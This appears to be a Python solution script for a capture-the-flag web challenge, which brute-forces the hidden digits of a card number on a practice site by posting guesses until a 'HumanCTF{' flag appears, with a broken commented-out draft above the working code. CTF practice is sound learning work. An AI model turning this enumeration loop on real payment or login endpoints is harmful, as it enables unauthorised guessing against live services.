#!/usr/bin/python
# import requests
# from bs4 import BeautifulSoup

# URL = 'http://ctf.knastu.ru/webch/cards/gold'

# result = requests.get(URL)
# parser = BeautifulSoup(result.text, 'html.parser')

# card_num = parser.find(id="card-number")["placeholder"].encode('ascii')
# num_dict = {card_num : "0"}

# while True : 
#     if int(num_dict[card_num]) > 9 :
        
#     print "now trying at " + card_num + " with : " + num_dict[card_num]
#     result = requests.post(URL, data={"card-number" : card_num.replace('?', num_dict[card_num])})

#     if "HumanCTF{" in result.text :
#         print result.text
#         exit(0)

#     parser = BeautifulSoup(result.text, 'html.parser')
#     card_num = parser.find(id="card-number")["placeholder"].encode('ascii')

#     try :
#         num_dict[card_num] = str(int(num_dict[card_num]) + 1)
#     except :
#         num_dict[card_num] = "0"

import requests
import re
URL="http://ctf.knastu.ru/webch/cards/gold"
pattern = 'placeholder="(.+)">'
r = requests.get(URL)
m = re.search(pattern, r.text)
if m:
    number = m.group(1)
    print("[+]number     =",number)
else:
    exit(1)
while True:
    flag = False
    for i in range(10):
        for j in range(10):
            card_number = number.replace("?",str(i))
            r = requests.post(
                URL,
                data={"card-number":card_number},
                allow_redirects=False
            )
            m = re.search(pattern, r.text)
            if "HumanCTF{" in r.text:
                print(r.text)
                exit(0)
            if m:
                print("[+]card-number=",card_number)
                number = m.group(1)
                print("[+]number     =",number)
                flag = True
                break
        if flag:
            break
